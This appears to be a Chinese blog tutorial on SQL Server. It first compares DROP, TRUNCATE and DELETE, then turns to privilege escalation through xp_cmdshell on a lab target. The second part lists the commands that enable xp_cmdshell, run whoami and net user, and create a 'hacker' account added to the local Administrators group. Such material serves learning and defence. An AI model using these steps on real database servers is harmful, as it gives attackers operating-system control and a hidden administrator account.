• Sql server语句练习


    一、sqlserver中drop、truncate和delete语句的用法

    1.drop(删的一干二净)

    • drop table 表名
    • 作用:删除表内容和结构,释放空间,没有备份表之前要慎用;
    • 实例:我们创建一个student表,然后再用drop
      在这里插入图片描述
    • 给student表插入数据
      在这里插入图片描述
    • 执行drop table student 将其删除,可以student表就被完全删除
      在这里插入图片描述
      在这里插入图片描述

    2.truncate(清空表中的数据)

    • truncate table 表名

    • 作用:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用,同时在truncate中,添加WHERE子句是不可能的。

    • (1)实例:还是student表表中存有数据,我们使用truncate删除student表。

    • 可以看到表中的数据被清空,但是表结构还在,说明执行语句之后,发现数据表的结构还在,也就是不删除定义
      在这里插入图片描述

    • (2)实例:

    • 使用delete删除yh5,然后发现表中sid标识列不连续(体现了delete删除是不释放空间的),先用delete删除表中数据,然后在填入数据发现表中sid标识列不连续,这体现了delete删除是不释放空间的。
      在这里插入图片描述在这里插入图片描述在这里插入图片描述

    • 然后我们再用truncate table student删除数据,在重新插入数据,同样sid是标识列,发现插入数据的时候,标识列连续了(体现了truncate删除是释放空间)注意:truncate 不能删除行数据,要删就要把表清空
      在这里插入图片描述

    3.delete(不释放空间)

    • 作用
    • 删除指定数据,删除整个表,仅删除表test内的所有内容,保留表的定义,不释放空间。
    • delete from student where name='yh5';可以查看truncate中的实例
    • delete from student;delete * from student

    4.相同与不同

    • 相同点:

    • drop、delete、truncate 都是删除表的内容。

    • 不同点:

    • delete:删除表的内容,表的结构还存在,不释放空间,可以回滚恢复;

    • drop:删除表内容和结构,释放空间,没有备份表之前要慎用;

    • truncate:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用;

    • 执行速度:drop > truncate > delete


    二、xp_cmdshell 利用

    1.SQL Server存储过程

    存储过程是指为了完成特定的功能由一条或多条sql语句组成的集合,这些语句集合可以被多次调用,类似于批处理文件,通常指定一个名称进行存储,经系统进行编译后存储到数据库的服务器中,作为数据库的对象,形成一个处理单元,存储过程创建之后,用户通过指定存储过程名称与参数,调用该存储过程并且执行,在调用的过程中允许用户声明变量,设置条件,以便增强程序设计的能力。相当于调用函数,创建存储过程是面向开发者的。

    在这里插入图片描述

    2.xp_cmdshell 提权原理与远程连接

    • 利用xp_cmdshell 建立文件

    • use master使用系统数据库

    • RECONFIGURE;刷新权限

    • exec sp_configure 'show advanced options',1;打开系统高级设置

    • RECONFIGURE;再次刷新权限

    • exec sp_configure 'xp_cmdshell',1;打开以操作系统命令行解释器的方式执行给定的命令字符串

    • RECONFIGURE;再次刷新权限

    • exec xp_cmdshell 'mkdir c:\myfile',no_output;在c盘下创建文件
      在这里插入图片描述
      在这里插入图片描述

    • 利用xp_cmdshell建立远程连接

    • 首先打开sql server 远程登录,修改后重启服务SQL Server (MSSQLSERVER)
      在这里插入图片描述在这里插入图片描述

    • exec xp_cmdshell 'whoami'查看当前使用用户

    • exec xp_cmdshell 'net user'查看电脑上的用户组

    • exec xp_cmdshell 'net user hacker 123456 /add';创建hacker用户

    • exec xp_cmdshell 'net localgroup Administrators hacker /add';将其加入到管理员组中
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    • 打开exec sp_configure 'show advanced options',1;

    • recongigure

    • 关闭exec sp_configure 'xp_cmdshell',0

    • recongigure

    • 关闭exec sp_configure 'show advanced options',0;

    • recongigure

    • 要求靶机实际:需要满足以下条件 (很少能满足)
      1、xp_configure设置 两个 show advanced options,xp_cmdshell 设置为1
      2、执行net user add 设置服务的本地用户

  • 相关阅读:
    跨境电商如何利用海外代理IP,提高竞争力?
    c++ logic_error() 异常的使用方法
    OpenXlab应用部署踩坑记录
    STL-stack
    LeetCode中等题之整数转罗马数字
    SwiftUI AR教程之应用程序中使用 RealityKit 生成 3D 文本(教程含完整源码)
    技术分享 | orchetrator--安装一个高可用 orchestrator
    试用期生存指南
    Vue原型对象
    Photoshop制作空心圆柱体与立体烟缸
  • 原文地址:https://blog.csdn.net/weixin_46065653/article/details/126590976